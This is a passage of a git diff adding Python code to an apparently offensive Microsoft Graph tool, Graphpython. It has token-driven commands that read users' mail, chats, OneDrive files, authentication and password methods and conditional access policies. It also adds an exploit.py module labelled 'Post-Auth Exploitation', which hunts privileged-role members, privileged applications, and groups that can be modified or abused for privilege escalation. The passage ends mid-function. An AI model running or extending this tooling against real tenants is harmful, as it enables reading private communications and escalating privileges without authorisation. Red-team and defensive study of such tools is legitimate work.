print_yellow("[*] Get-AdministrativeUnitMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members" + + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-onedrivefiles +def get_onedrivefiles(args): + print_yellow("[*] Get-OneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userpermissiongrants +def get_userpermissiongrants(args): + print_yellow("[*] Get-UserPermissionGrants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-oauth2permissiongrants +def get_oauth2permissiongrants(args): + print_yellow("[*] Get-oauth2PermissionGrants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-messages +def get_messages(args): + print_yellow("[*] Get-Messages") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/messages" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-temporaryaccesspassword +def get_temporaryaccesspassword(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command") + return + print_yellow("[*] Get-TemporaryAccessPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-password +def get_password(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-Password command") + return + print_yellow("[*] Get-Password") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-authmethods +def list_authmethods(args): + print_yellow("[*] List-AuthMethods") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-directoryroles +def list_directoryroles(args): + print_yellow("[*] List-DirectoryRoles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/directoryRoles" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-notebooks +def list_notebooks(args): + print_yellow("[*] List-Notebooks") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalaccesspolicies +def list_conditionalaccesspolicies(args): + print_yellow("[*] List-ConditionalAccessPolicies") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalauthenticationcontexts +def list_conditionalauthenticationcontexts(args): + print_yellow("[*] List-ConditionalAuthenticationContexts") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-conditionalnamedlocations +def list_conditionalnamedlocations(args): + print_yellow("[*] List-ConditionalNamedLocations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-sharepointroot +def list_sharepointroot(args): + print_yellow("[*] List-SharePointRoot") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/sites/root" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve current user: {response.status_code}") + print_red(response.text) + print("=" * 80) + + +# list-sharepointsites +def list_sharepointsites(args): + print_yellow("[*] List-SharePointSites") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/sites" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-sharepointurls +def list_sharepointurls(args): + print_yellow("[*] List-SharePointURLs") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + data = { + "requests": [ + { + "entityTypes": ["drive"], + "query": { + "queryString": "*" + }, + "from": 0, + "size": 500, + "fields": [ + "webUrl" + ] + } + ] + } + + try: + response = requests.post(api_url, headers=headers, json=data, timeout=30) + response.raise_for_status() + + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + else: + print_yellow("[-] No results found in the response.") + + next_link = response_body.get("@odata.nextLink") + while next_link: + response = requests.get(next_link, headers=headers, timeout=30) + response.raise_for_status() + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + + next_link = response_body.get("@odata.nextLink") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to search data: {str(e)}") + if hasattr(e, 'response'): + print_red(e.response.text) + + print("=" * 80) + +# list-externalconnections +def list_externalconnections(args): + print_yellow("[*] List-ExternalConnections") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/external/connections" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-applications +def list_applications(args): + print_yellow("[*] List-Applications") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/applications" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.status_code == 200: + applications = response.json() + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + applications = None + + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + + permissions = parse_roleids(content) + + if applications and 'value' in applications: + for app in applications['value']: + for key, value in app.items(): + if key == 'requiredResourceAccess': + if value: + print_green(f"{key}:") + for resource in value: + print_green(f" Resource App ID: {resource['resourceAppId']}") + for access in resource['resourceAccess']: + role_id = access['id'] + role_type = access['type'] + if role_id in permissions: + perm_type, role_name, description, consent_required = permissions[role_id] + print_green(f" Role ID: {role_id}") + print_green(f" Role Name: {role_name}") + print_green(f" Description: {description}") + print_green(f" Type: {role_type}") + print_green(f" Permission Type: {perm_type}") + print_green(f" Admin Consent Required: {consent_required}") + else: + print_red(f" Role ID: {role_id} (Information not found)") + print_red(f" Type: {role_type}") + print(" ---") + else: + print_red(f"{key} : No assignments") + else: + print(f"{key} : {value}") + print("\n") + print("=" * 80) + +# list-serviceprincipals +def list_serviceprincipals(args): + print_yellow("[*] List-ServicePrincipals") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/servicePrincipals" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-tenants +def list_tenants(args): + print_yellow("[*] List-Tenants") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-joinedteams +def list_joinedteams(args): + print_yellow("[*] List-JoinedTeams") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-chats +def list_chats(args): + print_yellow("[*] List-Chats") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/chats" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-chatmessages +def list_chatmessages(args): + if not args.id: + print_red("[-] Error: --id argument is required for List-ChatMessages command") + return + + print_yellow("[*] List-ChatMessages") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-devices +def list_devices(args): + print_yellow("[*] List-Devices") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/devices" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-administrativeunits +def list_administrativeunits(args): + print_yellow("[*] List-AdministrativeUnits") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-onedrives +def list_onedrives(args): + print_yellow("[*] List-OneDrives") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drives" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-recentonedrivefiles +def list_recentonedrivefiles(args): + print_yellow("[*] List-RecentOneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/recent" + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + try: + while api_url: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = response_body.get('value', []) + if filtered_data: + file_count = 1 + for d in filtered_data: + print_green(f"File {file_count}") + if args.select: + selected_fields = args.select.split(',') + for field in selected_fields: + value = d + for part in field.split('.'): + if isinstance(value, dict) and part in value: + value = value[part] + else: + value = None + break + if value is not None: + print(f"{field} : {value}") + else: + for key, value in d.items(): + if isinstance(value, (str, int, float, bool)): + print(f"{key} : {value}") + elif isinstance(value, dict): + print(f"{key} : {json.dumps(value, indent=2)}") + else: + print(f"{key} : {str(value)}") + print("\n") + file_count += 1 + else: + print_red("[-] No data found") + return + + api_url = response_body.get("@odata.nextLink") + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + print("=" * 80) + +# list-sharedonedrivefiles +def list_sharedonedrivefiles(args): + print_yellow("[*] List-SharedOneDriveFiles") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# list-onedriveurls +def list_onedriveurls(args): + print_yellow("[*] List-OneDriveURLs") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + data = { + "requests": [ + { + "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option + "query": { + "queryString": "*" + }, + "from": 0, + "size": 500, + "fields": [ + "webUrl" + ] + } + ] + } + + try: + response = requests.post(api_url, headers=headers, json=data, timeout=30) + response.raise_for_status() + + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + else: + print_yellow("[-] No results found in the response.") + + next_link = response_body.get("@odata.nextLink") + while next_link: + response = requests.get(next_link, headers=headers, timeout=30) + response.raise_for_status() + response_body = response.json() + + if 'value' in response_body: + for item in response_body['value']: + for hit in item.get('hitsContainers', []): + for result in hit.get('hits', []): + web_url = result.get('resource', {}).get('webUrl') + if web_url: + print(web_url) + + next_link = response_body.get("@odata.nextLink") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to search data: {str(e)}") + if hasattr(e, 'response'): + print_red(e.response.text) + + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/exploit.py b/Graphpython/commands/exploit.py new file mode 100644 index 0000000..571934d --- /dev/null +++ b/Graphpython/commands/exploit.py @@ -0,0 +1,1339 @@ +import requests +import json +import os +import time +import sys +from tqdm import tqdm +from datetime import datetime, timedelta, timezone +from tabulate import tabulate +from bs4 import BeautifulSoup +from cryptography import x509 +from cryptography.hazmat.primitives import hashes, serialization +from cryptography.hazmat.primitives.serialization import pkcs12 +from cryptography.hazmat.backends import default_backend +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert + +########################## +# Post-Auth Exploitation # +########################## + +# invoke-customquery +def invoke_customquery(args): + if not args.query: + print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") + return + + print_yellow("[*] Invoke-CutstomQuery") + print("=" * 80) + api_url = args.query + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if "@odata.context" in response_json: + del response_json["@odata.context"] + print(json.dumps(response_json, indent=4)) + else: + print_red(f"[-] Failed to retrieve query: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invoke-search +def invoke_search(args): + if not args.search or not args.entity: + print_red("[-] Error: --search and --entity required for Invoke-Search command") + return + + print_yellow("[*] Invoke-Search") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/search/query" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "requests": [ + { + "entityTypes": [args.entity], + "query": { + "queryString": args.search + } + } + ] + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + highlighted_value = highlight_search_term(pretty_value, args.search) + print(f"{key}: {highlighted_value}") + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + else: + print_red(f"[-] Failed to search data: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# find-privilegedroleusers +def find_privilegedroleusers(args): + roles = [ + {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, + {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, + {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, + {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, + {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, + {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, + {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, + {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, + {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, + {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, + {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, + {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, + {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, + {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, + {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, + {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, + {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, + {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, + {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, + {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, + {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, + {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, + {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, + {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, + {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, + {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, + {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, + {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} + ] + + print_yellow("[*] Find-PrivilegedRoleUsers") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + for role in roles: + api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" + response = requests.get(api_url, headers=headers) + if response.ok: + print_green(f"[+] Role: {role['displayName']}") + print(f"Description: {role['description']}") + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + format_list_style(filtered_data) + else: + print_red(f"[-] Role: {role['displayName']}") + print("=" * 80) + +# find-privilegedapplications +def find_privilegedapplications(args): + print_yellow("[*] Find-PrivilegedApplications") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/applications?$select=appId" + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Accept': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + applications = response.json() + app_ids = [app['appId'] for app in applications.get('value', [])] + else: + print_red(f"[-] Error: API request failed with status code {response.status_code}") + app_ids = [] + + service_principals = [] + for app_id in app_ids: + sp_api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId eq '{app_id}'&$select=id,appDisplayName" + sp_response = requests.get(sp_api_url, headers=headers) + + if sp_response.status_code == 200: + sp_data = sp_response.json() + for sp in sp_data.get('value', []): + service_principals.append({ + 'id': sp['id'], + 'appDisplayName': sp['appDisplayName'] + }) + else: + print_red(f"[-] Error: Service Principal API request failed for appId {app_id} with status code {sp_response.status_code}") + + app_role_assignments = {} + for sp in service_principals: + app_role_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{sp['id']}/appRoleAssignments" + app_role_response = requests.get(app_role_url, headers=headers) + + if app_role_response.status_code == 200: + assignments = app_role_response.json() + app_role_assignments[sp['id']] = { + 'appDisplayName': sp['appDisplayName'], + 'assignments': assignments.get('value', []) + } + else: + print_red(f"[-] Error: App Role Assignments API request failed for Service Principal ID {sp['id']}: {app_role_response.status_code}") + print_red(app_role_response.text) + + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + permissions = parse_roleids(content) + + # results + for sp_id, data in app_role_assignments.items(): + print(f"\nApplication: {data['appDisplayName']}") + if data['assignments']: + for assignment in data['assignments']: + app_role_id = assignment.get('appRoleId', 'N/A') + print_green(f"[+] App Role ID: {app_role_id}") + if app_role_id in permissions: + role_type, role_name, description, consent_required = permissions[app_role_id] + print_green(f"[+] Role Name: {role_name}") + print_green(f"[+] Description: {description}") + #print_green(f"[+] Role Type: {role_type}") # can only be application for appRoleAssignments, delegated role types use oauth2PermissionGrants + #print_green(f"[+] Admin Consent Required: {consent_required}") # admin consent required for all app graph perms + else: + print_red(f"[-] Role information not found for App Role ID: {app_role_id}") + print_green(f"[+] Resource: {assignment.get('resourceDisplayName', 'N/A')}") + print("---") + else: + print_red("[-] No role assignments") + print("=" * 80) + +# find-updatablegroups +def find_updatablegroups(args): + print_yellow("[*] Find-UpdatableGroups") + print("=" * 80) + graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" + estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" + + default_fields = ['id', 'displayName', 'description', 'isAssignableToRole', 'onPremisesSyncEnabled', 'mail', 'createdDateTime', 'visibility'] + + if args.select: + select_fields = args.select.split(',') + graph_api_endpoint += f"?$select=id,{args.select}" + else: + select_fields = default_fields + graph_api_endpoint += f"?$select=id,{','.join(select_fields)}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + results = [] + while graph_api_endpoint: + try: + response = requests.get(graph_api_endpoint, headers=headers) + response.raise_for_status() + response_data = response.json() + for group in response_data['value']: + if 'id' not in group: + print_yellow(f"[-] Group without 'id' found, skipping") + continue + group_id = group['id'] + request_body = { + "resourceActionAuthorizationChecks": [ + { + "directoryScopeId": f"/{group_id}", + "resourceAction": "microsoft.directory/groups/members/update" + } + ] + } + + while True: + try: + estimate_response = requests.post(estimate_access_endpoint, headers=headers, json=request_body) + estimate_response.raise_for_status() + estimate_data = estimate_response.json() + if estimate_data['value'][0]['accessDecision'] == "allowed": + group_out = {k: group.get(k) for k in select_fields if k in group} + results.append(group_out) + break + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Requests throttled... sleeping for 5 seconds") + time.sleep(5) + else: + print_red(f"[-] Error estimating access for group: {str(e)}") + break + except requests.exceptions.RequestException as e: + print_red(f"[-] Error estimating access for group: {str(e)}") + break + graph_api_endpoint = response_data.get('@odata.nextLink') + except requests.exceptions.RequestException as e: + print_red(f"[-] Error fetching Groups: {str(e)}") + break + if results: + max_key_length = max(len(key) for result in results for key in result.keys()) + for result in results: + for key, value in result.items(): + print(f"{key:<{max_key_length}} : {value}") + print("") + else: + print_red("[-] No updatable groups found") + print("=" * 80) + +# find-dynamicgroups +def find_dynamicgroups(args): + print_yellow("[*] Find-DynamicGroups") + print("=" * 80) + graph_api_endpoint = "https://graph.microsoft.com/v1.0/groups" + estimate_access_endpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + results = [] + while graph_api_endpoint: + try: + while True: + try: + response = requests.get(graph_api_endpoint, headers=headers) + response.raise_for_status() + break + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Requests throttled... sleeping 5 seconds") + time.sleep(5) + else: + raise + response_data = response.json() + + for group in response_data['value']: + group_id = f"/{group['id']}" + request_body = { + "resourceActionAuthorizationChecks": [ + { + "directoryScopeId": group_id, + "resourceAction": "microsoft.directory/groups/members/update" + } + ] + } + + if group.get('membershipRule') is not None: + #print_green(f"[+] Found dynamic group: {group['displayName']}") + group_out = { + "Group Name": group.get('displayName'), + "Group ID": group.get('id'), + "Description": group.get('description'), + "Is Assignable To Role": group.get('isAssignableToRole'), + "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), + "Mail": group.get('mail'), + "Created Date": group.get('createdDateTime'), + "Visibility": group.get('visibility'), + "MembershipRule": group.get('membershipRule'), + "Membership Rule Processing State": group.get('membershipRuleProcessingState') + } + results.append(group_out) + + graph_api_endpoint = response_data.get('@odata.nextLink') + + except requests.exceptions.RequestException as e: + print_red(f"[-] Error fetching Group IDs: {str(e)}") + break + if results: + for result in results: + for key, value in result.items(): + print(f"{key:<35} : {value}") + print() + else: + print_red("[-] No dynamic groups found") + print("=" * 80) + +# find-securitygroups +def find_securitygroups(args): + print_yellow("[*] Find-SecurityGroups") + print("=" * 80) + graph_api_url = "https://graph.microsoft.com/v1.0" + groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 